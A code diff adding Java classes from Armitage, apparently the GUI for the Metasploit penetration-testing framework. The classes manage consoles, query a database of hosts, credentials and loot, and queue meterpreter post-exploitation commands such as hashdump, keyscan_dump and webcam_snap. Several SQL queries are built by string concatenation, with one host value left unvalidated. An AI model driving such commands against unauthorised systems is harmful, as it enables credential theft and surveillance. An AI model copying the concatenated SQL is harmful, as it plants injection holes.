|
||||||
|
}
|
||||||
|
|
||||||
|
Map result = (Map)client.execute("console.create");
|
||||||
|
|
||||||
|
/* keep track of consoles that are in the pool, so we know whether to
|
||||||
|
destroy or release them when asked to. We only release pooled consoles
|
||||||
|
because we know they're used a certain way (e.g., for temporary purposes,
|
||||||
|
not long running tasks that a user may have setup) */
|
||||||
|
synchronized (this) {
|
||||||
|
tracked.add(result.get("id") + "");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* swallow the banner... making sure this is done will be part of the
|
||||||
|
contract of the console pool */
|
||||||
|
client.execute("console.read", new Object[] { result.get("id") });
|
||||||
|
//System.err.println("New console: " + result);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void release(String id) throws IOException {
|
||||||
|
/* make sure we're in a "clean" console */
|
||||||
|
boolean b;
|
||||||
|
synchronized (this) {
|
||||||
|
b = tracked.contains(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (b) {
|
||||||
|
client.execute("console.write", new Object[] { id, "back\n" });
|
||||||
|
synchronized (this) {
|
||||||
|
HashMap rv = new HashMap();
|
||||||
|
rv.put("id", id);
|
||||||
|
//System.err.println("Added: " + rv + " to pool");
|
||||||
|
inactive.add(rv);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
//System.err.println("Destroyed: " + id);
|
||||||
|
client.execute("console.destroy", new Object[] { id });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,417 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.sql.*;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
import graph.Route;
|
||||||
|
|
||||||
|
/* implement the old MSF RPC database calls in a way Armitage likes */
|
||||||
|
public class DatabaseImpl implements RpcConnection {
|
||||||
|
protected Connection db;
|
||||||
|
protected Map queries;
|
||||||
|
protected String workspaceid = "0";
|
||||||
|
protected String hFilter = null;
|
||||||
|
protected String sFilter = null;
|
||||||
|
protected Route[] rFilter = null;
|
||||||
|
protected String[] oFilter = null;
|
||||||
|
protected int hindex = 0;
|
||||||
|
protected int sindex = 0;
|
||||||
|
|
||||||
|
public void resetHostsIndex() {
|
||||||
|
hindex = 0;
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void resetServicesIndex() {
|
||||||
|
sindex = 0;
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void nextHostsIndex() {
|
||||||
|
hindex += 1;
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void nextServicesIndex() {
|
||||||
|
sindex += 1;
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String join(List items, String delim) {
|
||||||
|
StringBuffer result = new StringBuffer();
|
||||||
|
Iterator i = items.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
result.append(i.next());
|
||||||
|
if (i.hasNext()) {
|
||||||
|
result.append(delim);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setWorkspace(String name) {
|
||||||
|
try {
|
||||||
|
List spaces = executeQuery("SELECT DISTINCT * FROM workspaces");
|
||||||
|
Iterator i = spaces.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map temp = (Map)i.next();
|
||||||
|
if (name.equals(temp.get("name"))) {
|
||||||
|
workspaceid = temp.get("id") + "";
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setDebug(boolean d) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public DatabaseImpl() {
|
||||||
|
queries = build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static long tzfix = 0;
|
||||||
|
|
||||||
|
static {
|
||||||
|
Calendar now = Calendar.getInstance();
|
||||||
|
tzfix = now.get(Calendar.ZONE_OFFSET) + now.get(Calendar.DST_OFFSET);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* marshall the type into something we'd rather deal with */
|
||||||
|
protected Object fixResult(Object o) {
|
||||||
|
if (o instanceof java.sql.Timestamp) {
|
||||||
|
return new Long( ((Timestamp)o).getTime() + tzfix );
|
||||||
|
}
|
||||||
|
return o;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected int executeUpdate(String query) throws Exception {
|
||||||
|
Statement s = db.createStatement();
|
||||||
|
return s.executeUpdate(query);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* execute the query and return a linked list of the results..., whee?!? */
|
||||||
|
protected List executeQuery(String query) throws Exception {
|
||||||
|
List results = new LinkedList();
|
||||||
|
|
||||||
|
Statement s = db.createStatement();
|
||||||
|
ResultSet r = s.executeQuery(query);
|
||||||
|
|
||||||
|
while (r.next()) {
|
||||||
|
Map row = new HashMap();
|
||||||
|
|
||||||
|
ResultSetMetaData m = r.getMetaData();
|
||||||
|
int c = m.getColumnCount();
|
||||||
|
for (int i = 1; i <= c; i++) {
|
||||||
|
row.put(m.getColumnLabel(i), fixResult(r.getObject(i)));
|
||||||
|
}
|
||||||
|
|
||||||
|
results.add(row);
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean checkRoute(String address) {
|
||||||
|
for (int x = 0; x < rFilter.length; x++) {
|
||||||
|
if (rFilter[x].shouldRoute(address))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean checkOS(String os) {
|
||||||
|
String os_l = os.toLowerCase();
|
||||||
|
|
||||||
|
for (int x = 0; x < oFilter.length; x++) {
|
||||||
|
if (os_l.indexOf(oFilter[x]) != -1)
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List filterByRoute(List rows, int max) {
|
||||||
|
if (rFilter != null || oFilter != null) {
|
||||||
|
Iterator i = rows.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
Map entry = (Map)i.next();
|
||||||
|
if (rFilter != null && entry.containsKey("address")) {
|
||||||
|
if (!checkRoute(entry.get("address") + "")) {
|
||||||
|
i.remove();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (rFilter != null && entry.containsKey("host")) {
|
||||||
|
if (!checkRoute(entry.get("host") + "")) {
|
||||||
|
i.remove();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (oFilter != null && entry.containsKey("os_name")) {
|
||||||
|
if (!checkOS(entry.get("os_name") + ""))
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rows.size() > max) {
|
||||||
|
rows.subList(max, rows.size()).clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect(String dbstring, String user, String password) throws Exception {
|
||||||
|
db = DriverManager.getConnection(dbstring, user, password);
|
||||||
|
setWorkspace("default");
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String methodName) throws IOException {
|
||||||
|
return execute(methodName, new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Map build() {
|
||||||
|
Map temp = new HashMap();
|
||||||
|
|
||||||
|
/* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and
|
||||||
|
filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting
|
||||||
|
and limit the size of the final result there. */
|
||||||
|
int limit1 = rFilter == null && oFilter == null ? 512 : 30000;
|
||||||
|
int limit2 = rFilter == null && oFilter == null ? 12288 : 100000;
|
||||||
|
|
||||||
|
temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
|
||||||
|
/* db.creds2 exists to prevent duplicate entries for the stuff I care about */
|
||||||
|
temp.put("db.creds2", "SELECT DISTINCT creds.user, creds.pass, hosts.address as host, services.name as sname, services.port as port, services.proto as proto, creds.ptype FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
|
||||||
|
if (hFilter != null) {
|
||||||
|
List tables = new LinkedList();
|
||||||
|
tables.add("hosts");
|
||||||
|
if (hFilter.indexOf("services.") >= 0)
|
||||||
|
tables.add("services");
|
||||||
|
|
||||||
|
if (hFilter.indexOf("sessions.") >= 0)
|
||||||
|
tables.add("sessions");
|
||||||
|
|
||||||
|
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
|
||||||
|
}
|
||||||
|
|
||||||
|
temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
|
||||||
|
temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces");
|
||||||
|
temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
temp.put("db.clients", "SELECT DISTINCT clients.*, hosts.address as host FROM clients, hosts WHERE hosts.id = clients.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
temp.put("db.sessions", "SELECT DISTINCT sessions.*, hosts.address as host FROM sessions, hosts WHERE hosts.id = sessions.host_id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
temp.put("db.events", "SELECT DISTINCT id, username, info, created_at FROM events WHERE events.name = 'armitage.event' ORDER BY id ASC");
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object execute(String methodName, Object[] params) throws IOException {
|
||||||
|
try {
|
||||||
|
if (queries.containsKey(methodName)) {
|
||||||
|
String query = queries.get(methodName) + "";
|
||||||
|
Map result = new HashMap();
|
||||||
|
|
||||||
|
if (methodName.equals("db.services")) {
|
||||||
|
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 12288));
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.hosts")) {
|
||||||
|
result.put(methodName.substring(3), filterByRoute(executeQuery(query), 512));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
result.put(methodName.substring(3), executeQuery(query));
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.vulns")) {
|
||||||
|
//List a = executeQuery("SELECT DISTINCT vulns.*, hosts.address as host, services.port as port, services.proto as proto FROM vulns, hosts, services WHERE hosts.id = vulns.host_id AND services.id = vulns.service_id");
|
||||||
|
//List b = executeQuery("SELECT DISTINCT vulns.*, hosts.address as host FROM vulns, hosts WHERE hosts.id = vulns.host_id AND vulns.service_id IS NULL");
|
||||||
|
List a = executeQuery("SELECT DISTINCT vulns.*, vulns.id as vid, hosts.address as host, services.port as port, services.proto as proto, refs.name as refs FROM vulns, hosts, services, vulns_refs, refs WHERE hosts.id = vulns.host_id AND services.id = vulns.service_id AND vulns_refs.vuln_id = vulns.id AND vulns_refs.ref_id = refs.id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
List b = executeQuery("SELECT DISTINCT vulns.*, vulns.id as vid, hosts.address as host, refs.name as refs FROM vulns, hosts, refs, vulns_refs WHERE hosts.id = vulns.host_id AND vulns.service_id IS NULL AND vulns_refs.vuln_id = vulns.id AND vulns_refs.ref_id = refs.id AND hosts.workspace_id = " + workspaceid);
|
||||||
|
|
||||||
|
a.addAll(b);
|
||||||
|
|
||||||
|
Map result = new HashMap();
|
||||||
|
result.put("vulns", a);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.log_event")) {
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
stmt = db.prepareStatement("INSERT INTO events (name, username, info, created_at) VALUES ('armitage.event', ?, ?, now() AT TIME ZONE 'GMT')");
|
||||||
|
stmt.setString(1, params[0] + "");
|
||||||
|
stmt.setString(2, params[1] + "");
|
||||||
|
stmt.executeUpdate();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.key_add")) {
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES (?, ?)");
|
||||||
|
stmt.setString(1, params[0] + "");
|
||||||
|
stmt.setString(2, params[1] + "");
|
||||||
|
stmt.executeUpdate();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.key_delete")) {
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
stmt = db.prepareStatement("DELETE FROM notes WHERE id = ?");
|
||||||
|
stmt.setString(1, params[0] + "");
|
||||||
|
stmt.executeUpdate();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.key_clear")) {
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
stmt = db.prepareStatement("DELETE FROM notes WHERE ntype = ?");
|
||||||
|
stmt.setString(1, params[0] + "");
|
||||||
|
stmt.executeUpdate();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.key_values")) {
|
||||||
|
Map results = new HashMap();
|
||||||
|
String key = params[0] + "";
|
||||||
|
if (!key.matches("[0-9a-zA-Z\\._]+")) {
|
||||||
|
System.err.println("Key '" + key + "' did not validate!");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
results.put("values", executeQuery("SELECT DISTINCT * FROM notes WHERE ntype = '" + key + "' ORDER BY id ASC"));
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.clear")) {
|
||||||
|
executeUpdate(
|
||||||
|
"BEGIN;" +
|
||||||
|
"DELETE FROM hosts;" +
|
||||||
|
"DELETE FROM services;" +
|
||||||
|
"DELETE FROM events;" +
|
||||||
|
"DELETE FROM notes;" +
|
||||||
|
"DELETE FROM creds;" +
|
||||||
|
"DELETE FROM loots;" +
|
||||||
|
"DELETE FROM vulns;" +
|
||||||
|
"DELETE FROM sessions;" +
|
||||||
|
"DELETE FROM clients;" +
|
||||||
|
"COMMIT");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.filter")) {
|
||||||
|
/* I'd totally do parameterized queries if I wasn't building this
|
||||||
|
damned query dynamically. Hence it'll have to do. */
|
||||||
|
Map values = (Map)params[0];
|
||||||
|
|
||||||
|
rFilter = null;
|
||||||
|
oFilter = null;
|
||||||
|
|
||||||
|
List hosts = new LinkedList();
|
||||||
|
List srvcs = new LinkedList();
|
||||||
|
|
||||||
|
if ((values.get("session") + "").equals("1")) {
|
||||||
|
hosts.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL AND sessions.close_reason IS NULL");
|
||||||
|
//srvcs.add("sessions.host_id = hosts.id AND sessions.closed_at IS NULL");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (values.containsKey("hosts") && (values.get("hosts") + "").length() > 0) {
|
||||||
|
String h = values.get("hosts") + "";
|
||||||
|
if (!h.matches("[0-9a-fA-F\\.:\\%\\_/, ]+")) {
|
||||||
|
System.err.println("Host value did not validate!");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
String[] routes = h.split(",\\s*");
|
||||||
|
rFilter = new Route[routes.length];
|
||||||
|
|
||||||
|
for (int x = 0; x < routes.length; x++) {
|
||||||
|
rFilter[x] = new Route(routes[x]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (values.containsKey("ports") && (values.get("ports") + "").length() > 0) {
|
||||||
|
List ports = new LinkedList();
|
||||||
|
List ports2 = new LinkedList();
|
||||||
|
String[] p = (values.get("ports") + "").split(",\\s*");
|
||||||
|
for (int x = 0; x < p.length; x++) {
|
||||||
|
if (!p[x].matches("[0-9]+")) {
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
ports.add("services.port = " + p[x]);
|
||||||
|
//ports2.add("s.port = " + p[x]);
|
||||||
|
}
|
||||||
|
hosts.add("services.host_id = hosts.id");
|
||||||
|
hosts.add("(" + join(ports, " OR ") + ")");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (values.containsKey("os") && (values.get("os") + "").length() > 0) {
|
||||||
|
oFilter = (values.get("os") + "").toLowerCase().split(",\\s*");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hosts.size() == 0) {
|
||||||
|
hFilter = null;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
hFilter = join(hosts, " AND ");
|
||||||
|
}
|
||||||
|
|
||||||
|
queries = build();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.fix_creds")) {
|
||||||
|
Map values = (Map)params[0];
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
stmt = db.prepareStatement("UPDATE creds SET ptype = 'smb_hash' WHERE creds.user = ? AND creds.pass = ?");
|
||||||
|
stmt.setString(1, values.get("user") + "");
|
||||||
|
stmt.setString(2, values.get("pass") + "");
|
||||||
|
|
||||||
|
Map result = new HashMap();
|
||||||
|
result.put("rows", new Integer(stmt.executeUpdate()));
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("db.report_host")) {
|
||||||
|
Map values = (Map)params[0];
|
||||||
|
String host = values.get("host") + "";
|
||||||
|
PreparedStatement stmt = null;
|
||||||
|
|
||||||
|
/* before we change this hosts info, kill its notes. We do this so future normalized data isn't ignored */
|
||||||
|
executeUpdate("DELETE FROM notes WHERE EXISTS (SELECT id, address FROM hosts WHERE notes.host_id = id AND address = '" + host + "'::text::inet AND workspace_id = " + workspaceid + ")");
|
||||||
|
|
||||||
|
if (values.containsKey("os_name") && values.containsKey("os_flavor")) {
|
||||||
|
stmt = db.prepareStatement("UPDATE hosts SET os_name = ?, os_flavor = ?, os_sp = '' WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
|
||||||
|
stmt.setString(1, values.get("os_name") + "");
|
||||||
|
stmt.setString(2, values.get("os_flavor") + "");
|
||||||
|
stmt.setString(3, host);
|
||||||
|
}
|
||||||
|
else if (values.containsKey("os_name")) {
|
||||||
|
stmt = db.prepareStatement("UPDATE hosts SET os_name = ?, os_flavor = '', os_sp = '' WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
|
||||||
|
stmt.setString(1, values.get("os_name") + "");
|
||||||
|
stmt.setString(2, host);
|
||||||
|
}
|
||||||
|
else if (values.containsKey("purpose")) {
|
||||||
|
stmt = db.prepareStatement("UPDATE hosts SET purpose = ? WHERE hosts.address = ?::text::inet AND hosts.workspace_id = " + workspaceid);
|
||||||
|
stmt.setString(1, values.get("purpose") + "");
|
||||||
|
stmt.setString(2, host);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
Map result = new HashMap();
|
||||||
|
result.put("rows", new Integer(stmt.executeUpdate()));
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
System.err.println("Need to implement: " + methodName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println(ex);
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,238 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
/* Implements a class for writing commands to meterpreter and firing an
|
||||||
|
event when the command is successfully executed (with its output) */
|
||||||
|
|
||||||
|
public class MeterpreterSession implements Runnable {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected LinkedList listeners = new LinkedList();
|
||||||
|
protected LinkedList commands = new LinkedList();
|
||||||
|
protected String session;
|
||||||
|
protected boolean teammode;
|
||||||
|
|
||||||
|
public static long DEFAULT_WAIT = 12000;
|
||||||
|
|
||||||
|
private static class Command {
|
||||||
|
public Object token;
|
||||||
|
public String text;
|
||||||
|
public long start = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static interface MeterpreterCallback {
|
||||||
|
public void commandComplete(String session, Object token, Map response);
|
||||||
|
public void commandTimeout(String session, Object token, Map response);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(MeterpreterCallback l) {
|
||||||
|
synchronized (this) {
|
||||||
|
listeners.add(l);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireEvent(Command command, Map response, boolean timeout) {
|
||||||
|
Iterator i;
|
||||||
|
synchronized (this) {
|
||||||
|
i = new LinkedList(listeners).iterator();
|
||||||
|
}
|
||||||
|
while (i.hasNext()) {
|
||||||
|
if (timeout) {
|
||||||
|
((MeterpreterCallback)i.next()).commandTimeout(session, command != null ? command.token : null, response);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
((MeterpreterCallback)i.next()).commandComplete(session, command != null ? command.token : null, response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public MeterpreterSession(RpcConnection connection, String session, boolean teammode) {
|
||||||
|
this.connection = connection;
|
||||||
|
this.session = session;
|
||||||
|
this.teammode = teammode;
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void emptyRead() {
|
||||||
|
if (teammode)
|
||||||
|
return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
Map read = readResponse();
|
||||||
|
while (!"".equals(read.get("data"))) {
|
||||||
|
fireEvent(null, read, false);
|
||||||
|
read = readResponse();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void processCommand(Command c) {
|
||||||
|
Map response = null, read = null;
|
||||||
|
long start;
|
||||||
|
long maxwait = DEFAULT_WAIT;
|
||||||
|
int expectedReads = 1;
|
||||||
|
try {
|
||||||
|
emptyRead();
|
||||||
|
//System.err.println("Processing: " + c.text);
|
||||||
|
response = (Map)connection.execute("session.meterpreter_write", new Object[] { session, c.text });
|
||||||
|
|
||||||
|
/* white list any commands that are not expected to return output */
|
||||||
|
if (c.text.startsWith("cd "))
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c.text.startsWith("rm "))
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c.text.equals("shell\n") || c.text.equals("exit\n") || c.text.equals("rev2self\n"))
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c.text.startsWith("ls\n")) {
|
||||||
|
maxwait *= 2;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("webcam_snap ")) {
|
||||||
|
expectedReads = 3;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("download ")) {
|
||||||
|
expectedReads = 2;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("upload ")) {
|
||||||
|
expectedReads = 2;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("keyscan_dump")) {
|
||||||
|
expectedReads = 2;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("migrate")) {
|
||||||
|
expectedReads = 2;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("hashdump")) {
|
||||||
|
readUntilSuccessful(c, true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (c.text.startsWith("route")) {
|
||||||
|
readUntilSuccessful(c, false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);
|
||||||
|
|
||||||
|
for (int x = 0; x < expectedReads; x++) {
|
||||||
|
read = readResponse();
|
||||||
|
start = System.currentTimeMillis();
|
||||||
|
while ("".equals(read.get("data")) || read.get("data").toString().startsWith("[-] Error running command read")) {
|
||||||
|
/* our goal here is to timeout any command after 10 seconds if it returns nothing */
|
||||||
|
if ((System.currentTimeMillis() - start) > maxwait) {
|
||||||
|
fireEvent(c, read, true);
|
||||||
|
System.err.println("(" + session + ") - '" + c.text + "' - timed out");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
read = readResponse();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* process the read command ... */
|
||||||
|
fireEvent(c, read, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* grab any additional readable data */
|
||||||
|
read = readResponse();
|
||||||
|
while (!"".equals(read.get("data"))) {
|
||||||
|
fireEvent(c, read, false);
|
||||||
|
read = readResponse();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addCommand(Object token, String text) {
|
||||||
|
synchronized (this) {
|
||||||
|
if (text.trim().equals("")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Command temp = new Command();
|
||||||
|
temp.token = token;
|
||||||
|
temp.text = text;
|
||||||
|
commands.add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Command grabCommand() {
|
||||||
|
synchronized (this) {
|
||||||
|
/*if (commands.size() > 0) {
|
||||||
|
System.err.println("Queue size is: " + commands.size());
|
||||||
|
}*/
|
||||||
|
return (Command)commands.pollFirst();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
long lastRead = System.currentTimeMillis();
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
try {
|
||||||
|
Command next = grabCommand();
|
||||||
|
if (next == null && (System.currentTimeMillis() - lastRead) > 500) {
|
||||||
|
lastRead = System.currentTimeMillis();
|
||||||
|
emptyRead();
|
||||||
|
}
|
||||||
|
else if (next == null) {
|
||||||
|
Thread.sleep(25);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
lastRead = System.currentTimeMillis();
|
||||||
|
processCommand(next);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println("This session appears to be dead! " + session + ", " + ex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keep reading until we get no data for a set period... this is a more aggressive
|
||||||
|
alternate read strategy for commands that I can't predict the end point well */
|
||||||
|
private void readUntilSuccessful(Command c, boolean pieces) throws Exception {
|
||||||
|
/* our first read gets the default wait period at least... */
|
||||||
|
long start = System.currentTimeMillis() + DEFAULT_WAIT;
|
||||||
|
long timeout = pieces ? 2000 : 500;
|
||||||
|
|
||||||
|
StringBuffer buffer = new StringBuffer();
|
||||||
|
Map read = null;
|
||||||
|
|
||||||
|
/* keep reading until we see nothing (up to the timeout) */
|
||||||
|
while ((System.currentTimeMillis() - start) < timeout) {
|
||||||
|
read = readResponse();
|
||||||
|
String data = read.get("data") + "";
|
||||||
|
if (data.length() > 0) {
|
||||||
|
if (pieces) {
|
||||||
|
fireEvent(c, read, false);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
buffer.append(data);
|
||||||
|
}
|
||||||
|
start = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!pieces) {
|
||||||
|
read.put("data", buffer.toString());
|
||||||
|
fireEvent(c, read, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Map readResponse() throws Exception {
|
||||||
|
try {
|
||||||
|
Thread.sleep(10);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {}
|
||||||
|
return (Map)(connection.execute("session.meterpreter_read", new Object[] { session }));
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,139 @@
|
||||||
|
package msf;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.*;
|
||||||
|
import java.util.*;
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import org.msgpack.*;
|
||||||
|
import org.msgpack.object.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Taken from BSD licensed msfgui by scriptjunkie.
|
||||||
|
*
|
||||||
|
* Implements an RPC backend using the MessagePack interface
|
||||||
|
* @author scriptjunkie
|
||||||
|
*/
|
||||||
|
public class MsgRpcImpl extends RpcConnectionImpl {
|
||||||
|
private URL u;
|
||||||
|
private URLConnection huc; // new for each call
|
||||||
|
protected int timeout = 0; /* scriptjunkie likes timeouts, I don't. :) */
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new URL to use as the basis of a connection.
|
||||||
|
*/
|
||||||
|
public MsgRpcImpl(String username, String password, String host, int port, boolean ssl, boolean debugf) throws MalformedURLException {
|
||||||
|
